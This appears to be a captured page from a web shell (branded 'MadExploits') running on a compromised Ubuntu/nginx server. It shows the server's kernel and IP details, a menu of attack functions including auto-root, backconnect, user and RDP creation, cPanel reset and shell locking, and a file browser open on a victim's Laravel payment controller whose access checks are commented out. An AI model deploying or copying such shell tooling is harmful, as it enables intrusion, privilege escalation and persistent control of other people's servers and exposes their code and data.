Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sdgamatya /
app /
Http /
Controllers /
[ HOME SHELL ]
Name
Size
Permission
Action
Admin
[ DIR ]
drwxr-xr-x
Auth
[ DIR ]
drwxr-xr-x
Authentication
[ DIR ]
drwxr-xr-x
Product
[ DIR ]
drwxr-xr-x
Setting
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
Controller.php
374
B
-rw-r--r--
HomeController.php
19.22
KB
-rw-r--r--
HomeController_09.php
19.22
KB
-rw-r--r--
HomeController_09282018.php
19.22
KB
-rw-r--r--
HomeController_backup.php
18.83
KB
-rw-r--r--
HomeController_l.php
9.54
KB
-rw-r--r--
HomeController_old.php
18.83
KB
-rw-r--r--
OrderController.php
14.55
KB
-rw-r--r--
OrderController_old.php
14.55
KB
-rw-r--r--
OrderPaymentController.php
6.73
KB
-rw-r--r--
OrderPaymentController_old.php
6.73
KB
-rw-r--r--
SuperAdminController.php
3.59
KB
-rw-r--r--
SuperAdminController_old.php
3.61
KB
-rw-r--r--
WelcomeController.php
1.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : OrderPaymentController_old.php
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Sentinel; use App\Exceptions\PermissionException; use Logs; use DB; use App\Model\Order\Order; use App\Model\Order\OrderPayment; use App\Model\Order\OrderPaymentReceipt; use App\Model\Setting; class OrderPaymentController extends Controller { public function getPaymentsByOrder($order_id) { // try { // checkAccess('order-payments.browse'); $order = Order::with(['orderDetails.product','orderPayments.paymentReceiver.profile'])->find($order_id); $total_advance_amount = $order->orderPayments()->sum('amount'); $subtotal = 0; foreach ($order->orderDetails as $od) { $subtotal += $od->qty * $od->rate; } $data['subtotal'] = $subtotal; $data['shipping'] = $order->shipping_rate; $data['vat_amount'] = ($subtotal * vat()) / 100; $data['tax1_amount'] = ($subtotal * $order->tax_option1) / 100; $data['tax2_amount'] = ($subtotal * $order->tax_option2) / 100; $data['total_usd_amount'] = array_sum($data); $data['exchange_rate'] = $order->exchange_rate; $data['total_npr_amount'] = $data['total_usd_amount'] * $order->exchange_rate; $data['due_npr_amount'] = $data['total_npr_amount'] - $total_advance_amount; return view('admin.order_payments.index',compact('order_id','data','order','total_advance_amount')); // }catch(PermissionException $pex){ // return redirect('admin/permission-error'); // }catch (\Exception $e) { // return redirect()->back()->with('error', 'Oops Something Went Wrong'); // } } public function create($order_id) { try { // checkAccess('order-payments.add'); if(request()->due){ $due_amount = request()->due; }else{ $due_amount = 0; } $order = Order::find($order_id); $payment_types = ['Cash'=>'Cash','Cheque'=>'Cheque']; return view('admin.order_payments.create',compact('order_id','payment_types','due_amount')); }catch(PermissionException $pex){ return redirect('admin/permission-error'); }catch (\Exception $e) { return redirect()->back()->with('error', 'Oops Something Went Wrong'); } } public function store(Request $request,$order_id) { try { // checkAccess('order-payments.add'); $paymentDetails = $request->except('_token'); $paymentDetails['received_by'] = Sentinel::getUSer()->id; $paymentDetails['order_id'] = $order_id; $payment = OrderPayment::create($paymentDetails); /* Stores User Activity */ Logs::create($payment, 'create', $payment->amount, null); return redirect('/admin/orders/'.$order_id.'/payments')->with('sucess', 'Payment received successfully!!!'); }catch(PermissionException $pex){ return redirect('admin/permission-error'); }catch (\Exception $e) { return redirect()->back()->with('error', 'Oops Something Went Wrong'); } } public function edit($payment_id) { try { // checkAccess('order-payments.edit'); $payment = OrderPayment::find($payment_id); $payment_types = ['Cash'=>'Cash','Cheque'=>'Cheque']; return view('admin.order_payments.edit',compact('payment','payment_types')); }catch(PermissionException $pex){ return redirect('admin/permission-error'); }catch (\Exception $e) { return redirect()->back()->with('error', 'Oops Something Went Wrong'); } } public function update(Request $request,$payment_id) { try { // checkAccess('order-payments.edit'); $paymentDetails = $request->only('date','amount','paid_by','payment_type','remarks'); $payment = OrderPayment::find($payment_id); $oldValue = $payment->amount; $payment->fill($paymentDetails)->save(); /* Stores User Activity */ Logs::create($payment, 'update', $payment->amount, $oldValue); return redirect('/admin/orders/'.$payment->order_id.'/payments')->with('sucess', 'Payment updated successfully!!!'); }catch(PermissionException $pex){ return redirect('admin/permission-error'); }catch (\Exception $e) { return redirect()->back()->with('error', 'Oops Something Went Wrong'); } } public function destroy($payment_id) { try { // checkAccess("order-payments.delete"); $payment = OrderPayment::find($payment_id); $order_id = $payment->order_id; $oldValue = $payment->amount; $payment->delete(); /* Stores User Activity */ Logs::create($payment, 'Delete',null, $oldValue); return redirect('/admin/orders/'.$payment->order_id.'/payments')->with('success', 'Payment deleted successfully!!!'); } catch (PermissionException $e) { return redirect('admin/permission-error'); } catch (\Exception $e) { return redirect()->back()->with('error','Oops Something Went Wrong'); } } public function receipt(Request $request) { try{ \DB::beginTransaction(); $order_payment_id = $request->order_payment_id; $receiptDetails['order_payment_id'] = $request->order_payment_id; if($request->date_of_issue){ $receiptDetails['date_of_issue'] = $request->date_of_issue ; } $receipt = OrderPaymentReceipt::where(['order_payment_id'=>$order_payment_id])->first(); if($receipt){ $receipt->update($receiptDetails); }else{ $lastReceipt = OrderPaymentReceipt::orderBy('id','DESC')->first(); $receiptDetails['serial_no'] = ($lastReceipt == null) ? 1 : $lastReceipt->serial_no +1 ; OrderPaymentReceipt::create($receiptDetails); } $receipt = OrderPaymentReceipt::where(['order_payment_id'=>$order_payment_id])->first(); $payment = OrderPayment::with('paymentReceiver')->find($order_payment_id); $setting = Setting::select('company_name','address','phone','email','vat_no','website','logo')->first(); \DB::commit(); return view('admin.order_payments.receipt',compact('payment','setting','receipt')); }catch (\Exception $e){ \DB::rollback(); return redirect('admin/orders')->with('error', 'Something went wrong, Please try again!!!'); } } }
Close